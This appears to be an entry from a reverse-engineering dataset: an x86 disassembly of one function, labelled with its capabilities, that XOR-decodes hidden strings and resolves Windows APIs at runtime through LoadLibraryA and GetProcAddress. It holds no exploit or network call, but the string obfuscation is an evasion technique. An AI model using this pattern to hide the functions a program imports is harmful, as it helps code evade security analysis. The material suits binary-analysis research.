Function at 0x448400
Capabilities:
Encode data using xor
Link many functions at runtime

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x5c
cmp byte [0x557e31], 0
push esi
jne 0x448a43
movaps xmm0, xmmword [0x543c90]
xor ecx, ecx
mov dword [ebp - 0x1d], 0x82988d9d
mov byte [ebp - 0x19], 0x9b
movups xmmword [ebp - 0x18], xmm0
nop
lea eax, [ecx - 0x15]
xor byte [ebp + ecx - 0x1d], al
inc ecx
cmp ecx, 0xc
jb 0x448440
mov dword [0x5584d8], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x1d]
mov byte [ebp - 0x11], 0
movaps xmmword [ebp - 0x50], xmm0
lea edx, [ecx + 1]
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x448472
sub ecx, edx
lea eax, [ebp - 0x1d]
push ecx
push eax
lea ecx, [ebp - 0x50]
call fcn.00402b20
cmp dword [ebp - 0x3c], 0x10
lea eax, [ebp - 0x50]
cmovae eax, dword [ebp - 0x50]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [ebp - 0x3c]
test eax, eax
mov dword [0x557e18], eax
sete al
mov byte [ebp - 1], al
cmp ecx, 0x10
jb 0x4484de
mov edx, dword [ebp - 0x50]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4484d1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x448a4d
push ecx
push edx
call fcn.004f7c11
mov al, byte [ebp - 1]
add esp, 8
test al, al
jne 0x448a43
movaps xmm0, xmmword [0x5452b0]
xor ecx, ecx
movups xmmword [ebp - 0x24], xmm0
mov word [ebp - 0x14], 0x919e
xorps xmm0, xmm0
mov byte [ebp - 0x12], 0x8e
movq qword [ebp - 0x11], xmm0
mov byte [ebp - 9], al
lea eax, [ecx - 0x15]
xor byte [ebp + ecx - 0x24], al
inc ecx
cmp ecx, 0x13
jb 0x448508
mov dword [0x558558], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x24]
mov byte [ebp - 0x11], 0
movaps xmmword [ebp - 0x50], xmm0
lea edx, [ecx + 1]
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x448540
sub ecx, edx
lea eax, [ebp - 0x24]
push ecx
push eax
lea ecx, [ebp - 0x50]
call fcn.00402b20
cmp dword [ebp - 0x3c], 0x10
lea eax, [ebp - 0x50]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmovae eax, dword [ebp - 0x50]
push eax
push dword [0x557e18]
call esi
mov ecx, dword [ebp - 0x3c]
mov dword [0x557e34], eax
cmp ecx, 0x10
jb 0x4485a9
mov edx, dword [ebp - 0x50]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44859f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x448a52
push ecx
push edx
call fcn.004f7c11
add esp, 8
movaps xmm0, xmmword [0x545910]
xor ecx, ecx
movups xmmword [ebp - 0x25], xmm0
mov dword [ebp - 0x15], 0x8d89908e
xorps xmm0, xmm0
mov byte [ebp - 9], 0
movq qword [ebp - 0x11], xmm0
nop dword [eax]
lea eax, [ecx - 0x15]
xor byte [ebp + ecx - 0x25], al
inc ecx
cmp ecx, 0x14
jb 0x4485d0
mov dword [0x5584f0], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x25]
mov byte [ebp - 0x11], 0
movaps xmmword [ebp - 0x50], xmm0
lea edx, [ecx + 1]
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x448602
sub ecx, edx
lea eax, [ebp - 0x25]
push ecx
push eax
lea ecx, [ebp - 0x50]
call fcn.00402b20
cmp dword [ebp - 0x3c], 0x10
lea eax, [ebp - 0x50]
cmovae eax, dword [ebp - 0x50]
push eax
push dword [0x557e18]
call esi
mov ecx, dword [ebp - 0x3c]
mov dword [0x557e2c], eax
cmp ecx, 0x10
jb 0x448665
mov edx, dword [ebp - 0x50]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44865b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x448a57
push ecx
push edx
call fcn.004f7c11
add esp, 8
movaps xmm0, xmmword [0x543a40]
xor ecx, ecx
mov word [ebp - 0x1a], 0x8dbd
movups xmmword [ebp - 0x18], xmm0
lea eax, [ecx - 0x15]
xor byte [ebp + ecx - 0x1a], al
inc ecx
cmp ecx, 9
jb 0x448678
mov dword [0x5585e0], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x1a]
mov byte [ebp - 0x11], 0
movaps xmmword [ebp - 0x50], xmm0
lea edx, [ecx + 1]
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4486b0
sub ecx, edx
lea eax, [ebp - 0x1a]
push ecx
push eax
lea ecx, [ebp - 0x50]
call fcn.00402b20
cmp dword [ebp - 0x3c], 0x10
lea eax, [ebp - 0x50]
cmovae eax, dword [ebp - 0x50]
push eax
push dword [0x557e18]
call esi
mov ecx, dword [ebp - 0x3c]
mov dword [0x557e24], eax
cmp ecx, 0x10
jb 0x448713
mov edx, dword [ebp - 0x50]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x448709
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x448a5c
push ecx
push edx
call fcn.004f7c11
add esp, 8
movaps xmm0, xmmword [0x543720]
xor ecx, ecx
mov dword [ebp - 0x1f], 0x82988dbd
mov word [ebp - 0x1b], 0xbf9b
mov byte [ebp - 0x19], 0x81
movups xmmword [ebp - 0x18], xmm0
lea eax, [ecx - 0x15]
xor byte [ebp + ecx - 0x1f], al
inc ecx
cmp ecx, 0xe
jb 0x448731
mov dword [0x5584d4], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x1f]
mov byte [ebp - 0x11], 0
movaps xmmword [ebp - 0x50], xmm0
lea edx, [ecx + 1]
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x448763
sub ecx, edx
lea eax, [ebp - 0x1f]
push ecx
push eax
lea ecx, [ebp - 0x50]
call fcn.00402b20
cmp dword [ebp - 0x3c], 0x10
lea eax, [ebp - 0x50]
cmovae eax, dword [ebp - 0x50]
push eax
push dword [0x557e18]
call esi
mov ecx, dword [ebp - 0x3c]
mov dword [0x557e14], eax
cmp ecx, 0x10
jb 0x4487c6
mov edx, dword [ebp - 0x50]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4487bc
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x448a61
push ecx
push edx
call fcn.004f7c11
add esp, 8
movaps xmm0, xmmword [0x543730]
xor ecx, ecx
mov dword [ebp - 0x20], 0x82988dbd
mov dword [ebp - 0x1c], 0x9d9db39b
movups xmmword [ebp - 0x18], xmm0
lea eax, [ecx - 0x15]
xor byte [ebp + ecx - 0x20], al
inc ecx
cmp ecx, 0xf
jb 0x4487e1
mov dword [0x558508], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x20]
mov byte [ebp - 0x11], 0
movaps xmmword [ebp - 0x50], xmm0
lea edx, [ecx + 1]
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x448813
sub ecx, edx
lea eax, [ebp - 0x20]
push ecx
push eax
lea ecx, [ebp - 0x50]
call fcn.00402b20
cmp dword [ebp - 0x3c], 0x10
lea eax, [ebp - 0x50]
cmovae eax, dword [ebp - 0x50]
push eax
push dword [0x557e18]
call esi
mov ecx, dword [ebp - 0x3c]
mov dword [0x557e28], eax
cmp ecx, 0x10
jb 0x448876
mov edx, dword [ebp - 0x50]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44886c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x448a66
push ecx
push edx
call fcn.004f7c11
add esp, 8
movaps xmm0, xmmword [0x543ce0]
xor ecx, ecx
mov dword [ebp - 0x1d], 0x82988dbd
mov byte [ebp - 0x19], 0x9b
movups xmmword [ebp - 0x18], xmm0
nop
lea eax, [ecx - 0x15]
xor byte [ebp + ecx - 0x1d], al
inc ecx
cmp ecx, 0xc
jb 0x448890
mov dword [0x5584d8], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x1d]
mov byte [ebp - 0x11], 0
movaps xmmword [ebp - 0x50], xmm0
lea edx, [ecx + 1]
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4488c2
sub ecx, edx
lea eax, [ebp - 0x1d]
push ecx
push eax
lea ecx, [ebp - 0x50]
call fcn.00402b20
cmp dword [ebp - 0x3c], 0x10
lea eax, [ebp - 0x50]
cmovae eax, dword [ebp - 0x50]
push eax
push dword [0x557e18]
call esi
mov ecx, dword [ebp - 0x3c]
mov dword [0x557e20], eax
cmp ecx, 0x10
jb 0x448925
mov edx, dword [ebp - 0x50]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44891b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x448a6b
push ecx
push edx
call fcn.004f7c11
add esp, 8
movaps xmm0, xmmword [0x543ce0]
xor ecx, ecx
mov dword [ebp - 0x1d], 0x82988dbd
mov byte [ebp - 0x19], 0x9b
movups xmmword [ebp - 0x18], xmm0
nop dword [eax]
lea eax, [ecx - 0x15]
xor byte [ebp + ecx - 0x1d], al
inc ecx
cmp ecx, 0xc
jb 0x448940
mov dword [0x5584d8], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x1d]
mov byte [ebp - 0x11], 0
movaps xmmword [ebp - 0x50], xmm0
lea edx, [ecx + 1]
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x448972
sub ecx, edx
lea eax, [ebp - 0x1d]
push ecx
push eax
lea ecx, [ebp - 0x50]
call fcn.00402b20
cmp dword [ebp - 0x3c], 0x10
lea eax, [ebp - 0x50]
cmovae eax, dword [ebp - 0x50]
push eax
push dword [0x557e18]
call esi
mov ecx, dword [ebp - 0x3c]
mov dword [0x557e3c], eax
cmp ecx, 0x10
jb 0x4489da
mov edx, dword [ebp - 0x50]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4489cb
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x448a70
push ecx
push edx
call fcn.004f7c11
mov eax, dword [0x557e3c]
add esp, 8
cmp dword [0x557e34], 0
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0xf
mov byte [ebp - 0x50], 0
je 0x448a37
cmp dword [0x557e2c], 0
je 0x448a37
cmp dword [0x557e24], 0
je 0x448a37
cmp dword [0x557e14], 0
je 0x448a37
cmp dword [0x557e28], 0
je 0x448a37
cmp dword [0x557e20], 0
je 0x448a37
test eax, eax
je 0x448a37
mov byte [0x557e31], 1
mov al, 1
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
push dword [0x557e18]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
xor al, al
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.004fceb0
call fcn.004fceb0
call fcn.004fceb0
call fcn.004fceb0
call fcn.004fceb0
call fcn.004fceb0
call fcn.004fceb0
call fcn.004fceb0
int3